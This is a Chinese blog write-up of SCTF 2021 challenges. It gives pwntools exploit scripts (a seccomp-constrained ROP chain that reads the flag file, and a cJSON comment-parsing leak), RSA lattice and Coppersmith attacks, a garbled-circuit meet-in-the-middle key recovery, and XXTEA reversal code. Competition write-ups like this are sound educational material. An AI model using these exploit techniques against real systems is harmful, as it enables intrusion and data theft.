SCTF 2021

比赛
CTF
发布日期:   2021-12-28

SCTF 2021

PWN

roop

  1. 只允许 ORW:

    $ seccomp-tools dump ./roop 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x25 0x03 0x00 0x40000000  if (A > 0x40000000) goto 0005
 0002: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0006
 0003: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0006
 0004: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW

  2. 0x4AF102 处有 “flag” 字符串.

  3. read_sys() 函数中有点猫腻, rbp 那个位置要放个可写的地址, 而且后面还有个 pop, 后面利用这里面的 syscall 时要注意填充.

    .text:000000000040182A                 push    rbp
.text:000000000040182B                 mov     rbp, rsp
.text:000000000040182E ; 2:   return (unsigned int)sys_read(0, a1, 0x1F4uLL);
.text:000000000040182E                 mov     [rbp+buf], rdi
.text:0000000000401832                 mov     [rbp+var_4], 0C359h
.text:0000000000401839                 mov     eax, 0
.text:000000000040183E                 mov     edi, 0          ; fd
.text:0000000000401843                 mov     rsi, [rbp+buf]  ; buf
.text:0000000000401847                 mov     edx, 1F4h       ; count
.text:000000000040184C                 syscall                 ; LINUX - sys_read
.text:000000000040184E                 mov     [rbp+var_4], eax
.text:0000000000401851                 mov     eax, [rbp+var_4]
.text:0000000000401854                 pop     rbp
.text:0000000000401855                 retn
.text:0000000000401855 ; } // starts at 40182A
.text:0000000000401855 read_sys        endp

  4. EXP

    from pwn import *

context.log_level = "debug"
context.terminal = ['tmux', 'sp', '-h']

p = remote("123.60.140.20", 2111)
# p = process("./roop")
pop_rdi_ret = 0x0000000000401d9e
pop_rsi_ret = 0x00000000004086de
pop_rax_ret = 0x000000000043fed7
pop_rdx_rbx_ret = 0x000000000046d86b
flag_s = 0x4AF102
bss = 0x4B1500
bss2 = 0x4B2B79
main = 0x401868
# 用 read_sys() 中的 syscall
syscall_ret = 0x40184C

# open 开出来的 fd 应该是 3
fd = 3
payload = 'a'*0x20 + p64(bss2) + \
        #   open("flag", 0)
        p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag_s) + p64(pop_rsi_ret) + p64(0) + p64(syscall_ret) + \
        #   填充    read(fd, bss, 0x30)
        p64(bss2) + p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(fd) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \
        #   填充    write(1, bss, 0x30)
        p64(bss2) + p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \
        p64(bss2) + p64(main)
# gdb.attach(p)
p.send(payload)

p.interactive()

dataleak

  1. cJSON_Minify 遇到 “/*” 的时候下标最后会 +2, 利用这个漏洞吃掉 3 个字符串之间的 ‘\x00’; 而且会自动吃掉空格。左挪挪右挪挪把那个 “this_is_data_in_server” 挪出来就行了.
    else if ( *v11 == '/' && v11[1] == '*' )
{
    while ( *v11 && (*v11 != '*' || v11[1] != '/') )
        ++v11;
    v11 += 2;
}
  2. EXP
    from pwn import *

# context.log_level = "debug"
context.terminal = ['tmux', 'sp', '-h']

# p = process("./cJSON_PWN")
p = remote("124.70.202.226", 2101)

payload = 'a'*0xc + '/' + '*'
p.send(payload)
payload = 'bbbb' + ' '*(0xc-4) + '/' + '*'
p.send(payload)

a = p.recv()

payload = 'a'*5 + ' '*(0xc-5) + '/' + '*'
p.send(payload)
payload = ' '*0xc + '/' + '*'
# gdb.attach(p, gdbscript = "b *$rebase(0x120D)")
p.send(payload)

b = p.recv()

print(a+b)
# print("a = " + a + ", b = " + b)

p.interactive()

CRY

Lattice_RSA

  1. CopperSmith(https://eprint.iacr.org/2014/549.pdf)
  2. EXP
    # sage
e1 = 9545097209030256775216443121829852487787380086315441423236592000839309846039550602130662744273474762892095845712248185351595030092141485752003885019152268353509264865332005730567800065218726010684572302315291967868766793202912693755784425680016425189250482664755863124379283931403254016082077557111339647889
n1 = 98939456380792523662775017487084146158199369919759470465575759577838238544400854203012884028529070427777189722848860164139618018368139287530561049590738727981094118610846357860548707651233653701270301175858159871826699942130125407653338205286434016804567227501137095308022126944522749231530058497881261185653
c1 = 55315487674581208936176703509670353978231044582491114364061992981458986632841065786061160594922107804965351583127534031661829212870815873676036345109665820229082797340089348236551436209969988935306699393106743928957238959317622905185712338429185098479804550934511329466829098245607393481855153276533732689734
e2 = 59243789427417951194489862269417430952328673559766515223885035376877819796576206793435054362857070966888235333647478778158384173868938982383588960913340186622525635645816049372928121634881790492382629069066078703248800839522472210920458130523691729892148102876735855766860455039600156378352749345062721937209
n2 = 104347855605891592910114852579961565604626906391213265775887363677904796055413085190935828673206199415533269569031451361031799754867385268572970064379073503906665805386452010801102766017395658092557842603350337718372544153615967374268293977782528578048412981645150044439520557593275256807763497840657428919077
c2 = 102398006499486137660980667185708024925165256830809071209188976998384002930353742529713002440025603110530041319123321468674756588207972254892299747598693922335456071362447796282021604830025395235248733257046909682564607142251130963235661693343045300675990709137212806865651950929080932525655855441795236830180
e3 = 85747500093914623676814521570837906391267663984326957989170968314694976569281309877349688441394449235970180279634338128332963787895719937398561401234322387037150946707257948321793874036110351063581214140307404280596740059504052727210571816961399578900374385250625544371549762415419859711307774733248827036469
n3 = 125025456359945372693024749116364347012056768353381741583283104144583480532982415270618444535675894570724052935399666141513628840873824003925313455238817485549860905264933541873086612753584660074870129509952045033828170291542113197517274230326183877232286120958576866764084704325778588083293425203999205810141
c3 = 72100429874928070585214359886622577441750665411714854015876430886408828429194918865497582935712040510387059400943960378641326114021899111137577322059200344646501253200629230286816720829672198420182128299025122114808347594611972141414087683155991740640913366675113748261101786118999803968607329180926248155617


Ns = [n1, n2, n3]
es = [e1, e2, e3]
cs = [c1, c2, c3]

N = max(Ns)
k = 3
delta = 0.375
epsilon = sqrt(5) * N^(delta-1/2)

n = k
C = int(3^(n+1) * 2 ^ ((n+1)*(n-4)/4) * epsilon^(-n-1))

M = Matrix(ZZ, [[1, -int(C * es[0] / (Ns[0] + 1)), -int(C * es[1] / (Ns[1] + 1)), -int(C * es[2] / (Ns[2] + 1))],
                [0, C, 0, 0],
                [0, 0, C, 0],
                [0, 0, 0, C]])

K = M.LLL()
need_x = K * M.inverse()
x, y1, y2, y3 = -need_x[0]
ys = [y1, y2, y3]

Ss = [abs(int(Ns[i] + 1 - es[i] * x / ys[i])) for i in range(3)]
Ds = [int(sqrt(Ss[i]^2 - 4 * Ns[i])) for i in range(3)]
pas = [int((Ss[i] + Ds[i])/2) for i in range(3)]

ps = []
for i in range(3):
    PR.<x> = PolynomialRing(Zmod(Ns[i]))
    f = x + pas[i]
    f = f.monic()
    p_solve = f.small_roots(X = 2 ** 160, beta=0.42)
    ps.append(int(p_solve[0] + pas[i]))

p1 = ps[0]
q1 = n1//p1
assert p1*q1==n1

from Crypto.Util.number import GCD, long_to_bytes
from gmpy2 import powmod, invert
phi1 = (p1-1)*(q1-1)
d1 = invert(e1, phi1)

r = powmod(c1, d1, n1)

assert len(r)==512

C = 314138995705134963765949674209997674579520613296385936644494323356626474616449345832002116061032387789940232889811877417810577261174504328571142196672295961635382151605788845659832250695248133655805670920526231489642291822105961881028933410090118643915808621533888227382756678986914466713549255082875872573630738336022955681786779227894866903014980470029300129311175129426104388783114413927510414404318697951064311913497410213165287013303821435193696139330480491
pqr = 911619948379135753280277158472338758620401367671839695302515524798781840672067948187113857703065845795822924511361587073726701234792252232996432637222385990530844261677850096042369704113324684160539535870348348879313722193048824463097747849639034518789021825189407467150941299095291906449325771599816822640144434277887115737049026356758054116641646403968823314685604673290554098181881098527931284097939456611464715559804244238286600413220755256136717571673115011

pq = pqr//r
assert pq*r==pqr
# print(pq)
# pq = 125344179764788452935958110666600751722211963386020321971128464236999765401250458368340341394237141874926209998421276275176144081702712536364906046934659970775376635578551307310851053853612888660035922692903835246762915463074024563925867028110418848125938836672083837320222436259178292257202682401312848752623

# factor pq by yafu
q = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437457
p = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437439

assert pqr==p*q*r
phi = (p-1)*(q-1)*(r-1)

d = invert(p*q*q*r*r*r, phi)

flag = powmod(C,d,p*q*r)
print(long_to_bytes(flag))

ciruit map

  1. 姚氏电路, 原题, 题解.
  2. 用中间相遇找出 gate 5 和 6 中满足以下条件的所有密钥对$(k_1,k_2)$: 可以令 G_Table 中相应的 $E_{k_1}(E_{k_2}(0))$ 经过两次反向的 decode 得到 0. 而且由于 5 和 6 都是与门, 所以它们的真值表中有 3 个输出为假, 1 个为真. 在这些密钥对中筛选满足令 gate 5 的输出中有 3 个相同, 一个不同的, 即可得到它们的两个输入所对应的密钥值: $k_1^0,k_1^1,k_2^0,k_2^1$. 稍微修改一下 Joseph 博客中的代码即可:
    from block_cipher import encrypt_data, decrypt_data, decrypt
from public_data import G_Table as g_tables
from collections import defaultdict
from tqdm import tqdm

import json

print('[!] generating lookup table...')
ENCRYPTIONS_OF_ZERO = defaultdict(list)
for key in tqdm(range(2**24)):
    ct = encrypt_data(0, key)
    ENCRYPTIONS_OF_ZERO[ct].append(key)

# with open('ENCRYPTIONS_OF_ZERO.json', 'r') as f:
#     ENCRYPTIONS_OF_ZERO = json.load(f)
#     f.close()

def meet_in_the_middle(ct):
    print('[!] performing meet-in-the-middle attack for', ct)
    possible = defaultdict(list)
    for key in tqdm(range(2**24)):
        dec = decrypt_data(ct, key)
        if dec in ENCRYPTIONS_OF_ZERO:
            possible[key] = ENCRYPTIONS_OF_ZERO[dec]
    return possible

def recover_keys(Z, C):
    print('[!] recovering keys...')
    z1, z2, z3, z4 = Z
    c1, c2, c3, c4 = C
    for b0 in tqdm(z1):
        for a0 in z1[b0]:
            p1 = decrypt(c1, a0, b0)
            for c,z in zip([c2, c3, c4], [z2, z3, z4]):
                for a1 in z[b0]:
                    if p1 == decrypt(c, a1, b0):
                        b1 = recover_keys_part2(Z, C, a0, b0)
                        if b1:
                            print(f'a1 = {a1}, b1 = {b1}')
                            print(f'a0 = {a0}, b0 = {b0}')

                            return True
    return False
                
def recover_keys_part2(Z, C, a0, b0):
    z1, z2, z3, z4 = Z
    c1, c2, c3, c4 = C
    for c,z in zip([c2,c3,c4], [z2,z3,z4]):
        for b1 in z:
            if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0):
                return b1
    return False

for i in [5, 6]:
    Z = [meet_in_the_middle(g_tables[i][j][1]) for j in range(4)]
    C = [g[0] for g in g_tables[i]]
    for i in range(4):
        recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:])
  3. 用上面的脚本求出 gate 1,2,3,4 的密钥值, 然后就可以进一步推 gate 5,6,7,8 的密钥值, over.
    from block_cipher import encrypt_data, decrypt_data, decrypt
from public_data import G_Table

import hashlib
from Crypto.Util.number import *

def validate_the_circuit(geta_table, key0, key1):
    for g in geta_table:
        gl, v = g
        label = decrypt(gl, key0, key1)
        validation = decrypt(v, key0, key1)
        
        if validation == 0:
            return label

k = [[0 for col in range(2)] for row in range(10)]

"""
key 1, 2
a1 = 13675268, b1 = 12870274
a0 = 8343801, b0 = 10251687
"""
k[1][1] = 13675268
k[1][0] = 8343801
k[2][1] = 12870274
k[2][0] = 10251687

# geta_table = G_Table[5]
# msg = validate_the_circuit(geta_table, k[1][0], k[2][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[1][1], k[2][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[1][0], k[2][1])
# print(msg)
# msg = validate_the_circuit(geta_table, k[1][1], k[2][1])
# print(msg)
k[5][0] = 15707475
k[5][1] = 4567418

'''
key 3, 4
a1 = 12490757, b1 = 3391233
a0 = 6827786, b0 = 2096572
'''
k[3][0] = 6827786
k[3][1] = 12490757
k[4][0] = 2096572
k[4][1] = 3391233

# geta_table = G_Table[6]
# msg = validate_the_circuit(geta_table, k[3][0], k[4][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[3][1], k[4][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[3][0], k[4][1])
# print(msg)
# msg = validate_the_circuit(geta_table, k[3][1], k[4][1])
# print(msg)
k[6][0] = 14095476
k[6][1] = 3648155

# geta_table = G_Table[7]
# msg = validate_the_circuit(geta_table, k[5][0], k[6][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[5][1], k[6][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[5][0], k[6][1])
# print(msg)
# msg = validate_the_circuit(geta_table, k[5][1], k[6][1])
# print(msg)
k[7][0] = 14409690
k[7][1] = 8680011

# geta_table = G_Table[9]
# msg = validate_the_circuit(geta_table, k[4][0], k[7][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[4][1], k[7][0])
# print(msg)
# msg = validate_the_circuit(geta_table, k[4][0], k[7][1])
# print(msg)
# msg = validate_the_circuit(geta_table, k[4][1], k[7][1])
# print(msg)
k[8][0] = 9376523
k[8][1] = 2504390

def xor(A, B):
    return bytes(a ^ b for a, b in zip(A, B))
the_chaos=b''

reflag = 0x1661fe85c7b01b3db1d432ad3c5ac83a
for i in range(1, 9):
    tmp = sum(k[i])
    the_chaos += bytes(long_to_bytes(tmp))
mask = hashlib.md5(the_chaos).digest()

print(long_to_bytes(bytes_to_long(mask)^reflag))

MISC

The_is_A_tree

  1. 用 os.walk 先序遍历文件树即可, 后面还有一个伏羲 64 卦
  2. EXP
    # -*- coding: UTF-8 -*-
import os
import base64

# s = ''
# for root,dirs,files in os.walk("./"):
#     for fname in files:
#         # print(root, fname)
#         f = open(root + '\\' + fname, 'r')
#         for lines in f.readline():
#             s += lines
#         f.close()
        
# print(s)
s = 'Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA=='

# base64
# Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 


# py3
# 参考文献: https://blog.csdn.net/weixin_44110537/article/details/107494966
s = '师兑复损巽震晋姤大过讼噬嗑震恒节豫'
dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
li=[]
k=0
for i in range(len(s)):
    if k ==1:
        k=0
        continue
    try:
        li.append(dic[s[i]])
    except:
        t=''
        t=t+s[i]+s[i+1]
        li.append(dic[t])
        k=1
ss=''.join(li)
print(ss)
enc=''
for i in range(0,len(ss),8):
    enc+=chr(eval('0b'+ss[i:i+8]))
print(enc)

RE

easyre

  1. 3 个加密算法和它们相应的逆推算法如下:

    char BASE16_ENC_TAB[] = "0123456789ABCDEF";
int reBASE16_ENC_TAB(char in){
    if(in>='0' && in<='9')
        return in-'0';
    return in-'A'+10;
}
// len = 16
void F1(char *in_s, int len, char *out_s){
    for(int i=0;i<len;i++){
        char v1 = (in_s[i] >> 4) & 0xf;
        char v2 = in_s[i] & 0xf;
        out_s[2 * i] = BASE16_ENC_TAB[v1];
        out_s[2 * i + 1] = BASE16_ENC_TAB[v2];
    }
}
// len = 32
void reF1(char *in_s, int len, char *out_s){
    for(int i=0;i<len;i+=2)
        out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]);
}

int find_first_of(char in){
    char v6[] = "0123456789ABCDEF";
    for(int i=0;i<16;i++){
        if(in == v6[i])
            return i;
    }
}
void F2(char *in_s, unsigned int *out_n){
    // in_s 长度为 32, out_n 长度为 4
    for(int i=0;i<32;i+=8){
        for(int j=0;j<8;j++){
            int v2 = find_first_of(in_s[i+j]);
            out_n[i / 8] |= v2 << (4 * (7 - j));
        }
    }
}
void reF2(unsigned int *in_n, char *out_s){
    char v6[] = "0123456789ABCDEF";
    for(int i=0;i<4;i++){
        for(int j=0;j<8;j++){
            out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf];
        }
    }
}

void F3(uint32_t *v, int n){
    uint32_t const key[4] = {83, 67, 84, 70};
    uint32_t y, z, sum;  
    unsigned p, rounds, e; 
    uint32_t DELTA = 1061774306;

    rounds = 31 / n + 8;
    sum = 0;
    z = v[n - 1];
    do
    {
        sum += DELTA;
        e = (sum >> 2) & 3;
        for ( p = 0; n - 1 > p; ++p )
        {
            y = v[p + 1];
            z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        }
        y = v[0];
        z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        --rounds;
    }
    while ( rounds );
}
void reF3(uint32_t *v, int n){
    uint32_t const key[4] = {83, 67, 84, 70};
    uint32_t y, z, sum;  
    unsigned p, rounds, e; 
    uint32_t DELTA = 1061774306;

    rounds = 31 / n + 8;
    sum = rounds*DELTA;
    y = v[0];
    do
    {
        e = (sum >> 2) & 3;
        for ( p = n-1; p>0; --p )
        {
            z = v[p-1];
            y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        }
        z = v[n-1];
        y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));

        sum -= DELTA;
        --rounds;
    }
    while ( rounds );
}

    有一个陷阱就是 XXTEA 第一次执行之前, delta 的值被修改了:

    __int64 vary(void)
{
  struct _STARTUPINFOA StartupInfo; // [rsp+20h] [rbp-70h] BYREF

  GetStartupInfoA(&StartupInfo);
  StartupInfo.cb = 68;
  if ( StartupInfo.dwX
    || StartupInfo.dwY
    || StartupInfo.dwXCountChars
    || StartupInfo.dwYCountChars
    || StartupInfo.dwXSize
    || StartupInfo.dwYSize )
  {
    DELTA = 1061774306;
  }
  return 0i64;
}

  2. 在最后还有一段 C++:

    std::ostringstream::basic_ostringstream(v11, 16i64);
std::allocator<char>::allocator(&v13);
std::string::string(v12, &unk_491000, &v13);
std::allocator<char>::~allocator(&v13);
std::allocator<char>::allocator(&v14);
std::string::string(v7, "657402099", &v14);
std::allocator<char>::~allocator(&v14);
std::allocator<char>::allocator(&v15);
std::string::string(&v8, "6574020991321455863", &v15);
std::allocator<char>::~allocator(&v15);
std::allocator<char>::allocator(&v16);
std::string::string(&v9, "65740209913214558633720287476", &v16);
std::allocator<char>::~allocator(&v16);
std::allocator<char>::allocator(&v17);
std::string::string(&v10, "657402099132145586337202874761402167217", &v17);
std::allocator<char>::~allocator(&v17);
v22 = 0;
for ( j = 0; j <= 3; ++j )
{
    a1[j] ^= a1[(j + 1) % 4];
    std::ostream::operator<<(v11, a1[j]);
    std::ostringstream::str((std::string *)v18, v7[0], v8);
    std::string::operator=(v12, v18);
    std::string::~string((std::string *)v18);
    if ( (unsigned int)std::string::compare((std::string *)v12, (const std::string *)&v7[2 * j]) )
        break;
    v22 = 1;
}

    大概意思应该是这样:

    ostringstream v11;
string v7[4];
v7[0] = "657402099";
v7[1] = "6574020991321455863";
v7[2] = "65740209913214558633720287476";
v7[3] = "657402099132145586337202874761402167217";

ostringstream v11;
for (int i = 0; i <= 3; ++i )
{
    v[i] ^= v[(i + 1) % 4];
    v11 << v[i];

    string v12 = v11.str();
    if(v12.compare(v7[i])){
        puts("no");
    }
}
puts("yes");

    求解一下 XXTEA 出来的 4 个数

    /*
    v[0] ^= v[1];   657402099       0,1
    v[1] ^= v[2];   1321455863      1,2
    v[2] ^= v[3];   3720287476      2,3
    v[3] ^= v[0];   1402167217      3,0,1

    v[3] = v[3]^v[0];
    v[2] = v[2]^v[3];
    v[1] = v[1]^v[2];
    v[0] = v[0]^v[1];
*/
uint32_t v[4] = {657402099,1321455863,3720287476,1402167217};
v[3] = v[3]^v[0];
v[2] = v[2]^v[3];
v[1] = v[1]^v[2];
v[0] = v[0]^v[1];

  3. EXP

    #include <bits/stdc++.h>
using namespace std;

char BASE16_ENC_TAB[] = "0123456789ABCDEF";
int reBASE16_ENC_TAB(char in){
    if(in>='0' && in<='9')
        return in-'0';
    return in-'A'+10;
}
// len = 16
void F1(char *in_s, int len, char *out_s){
    for(int i=0;i<len;i++){
        char v1 = (in_s[i] >> 4) & 0xf;
        char v2 = in_s[i] & 0xf;
        out_s[2 * i] = BASE16_ENC_TAB[v1];
        out_s[2 * i + 1] = BASE16_ENC_TAB[v2];
    }
}
// len = 32
void reF1(char *in_s, int len, char *out_s){
    for(int i=0;i<len;i+=2)
        out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]);
}
bool check1(){
    char in[50] = "0123456789abcdef";
    char out1[50];
    memset(out1,0,sizeof(out1));
    F1(in, 16, out1);
    char out2[50];
    memset(out2,0,sizeof(out2));
    reF1(out1, 32, out2);
    printf("%s\n", out2);
}

int find_first_of(char in){
    char v6[] = "0123456789ABCDEF";
    for(int i=0;i<16;i++){
        if(in == v6[i])
            return i;
    }
}
void F2(char *in_s, unsigned int *out_n){
    // in_s 长度为 32, out_n 长度为 4
    for(int i=0;i<32;i+=8){
        for(int j=0;j<8;j++){
            int v2 = find_first_of(in_s[i+j]);
            out_n[i / 8] |= v2 << (4 * (7 - j));
        }
    }
}
void reF2(unsigned int *in_n, char *out_s){
    char v6[] = "0123456789ABCDEF";
    for(int i=0;i<4;i++){
        for(int j=0;j<8;j++){
            out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf];
        }
    }
}
bool check2(){
    puts("check2");
    char in[50] = "CAEA1116A622787C23D1E7AFFA163F5E";
    unsigned int out1[50];
    memset(out1,0,sizeof(out1));
    F2(in, out1);
    char out2[50];
    memset(out2,0,sizeof(out2));
    reF2(out1, out2);
    printf("%s\n", out2);
}

void F3(uint32_t *v, int n){
    uint32_t const key[4] = {83, 67, 84, 70};
    uint32_t y, z, sum;  
    unsigned p, rounds, e; 
    uint32_t DELTA = 1061774306;

    rounds = 31 / n + 8;
    sum = 0;
    z = v[n - 1];
    do
    {
        sum += DELTA;
        e = (sum >> 2) & 3;
        for ( p = 0; n - 1 > p; ++p )
        {
            y = v[p + 1];
            z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        }
        y = v[0];
        z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        --rounds;
    }
    while ( rounds );
}
void reF3(uint32_t *v, int n){
    uint32_t const key[4] = {83, 67, 84, 70};
    uint32_t y, z, sum;  
    unsigned p, rounds, e; 
    uint32_t DELTA = 1061774306;

    rounds = 31 / n + 8;
    sum = rounds*DELTA;
    y = v[0];
    do
    {
        e = (sum >> 2) & 3;
        for ( p = n-1; p>0; --p )
        {
            z = v[p-1];
            y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
        }
        z = v[n-1];
        y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));

        sum -= DELTA;
        --rounds;
    }
    while ( rounds );
}
void check3(){
    puts("check3");
    uint32_t v[4] = {123,34,56,123};
    F3(v, 4);
    reF3(v,4);
    for(int i=0;i<4;i++)
        printf("%d\n", v[i]);
}

int main(){
    char out1[50];
    char out2[50];
    memset(out1,0,sizeof(out1));
    memset(out2,0,sizeof(out2));
    /*
        v[0] ^= v[1];   657402099       0,1
        v[1] ^= v[2];   1321455863      1,2
        v[2] ^= v[3];   3720287476      2,3
        v[3] ^= v[0];   1402167217      3,0,1

        v[3] = v[3]^v[0];
        v[2] = v[2]^v[3];
        v[1] = v[1]^v[2];
        v[0] = v[0]^v[1];
    */
    uint32_t v[4] = {657402099,1321455863,3720287476,1402167217};
    v[3] = v[3]^v[0];
    v[2] = v[2]^v[3];
    v[1] = v[1]^v[2];
    v[0] = v[0]^v[1];

    for(int i=0;i<4;i++){
        printf("%u\n", v[i]);
    }
    reF3(v, 4);
    reF2(v, out1);
    reF1(out1, 32, out2);
    // Y0u_@r3_S0_G0od!
    printf("%s\n", out2);

    return 0;
}

文件

链接：https://pan.baidu.com/s/1REyjdM7WjojMW3sSwdzLAw 
提取码：pyzq
文章作者: 李立基
文章链接: https://blogg9ggg.github.io/2021/12/28/sctf-2021/
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
比赛
  目录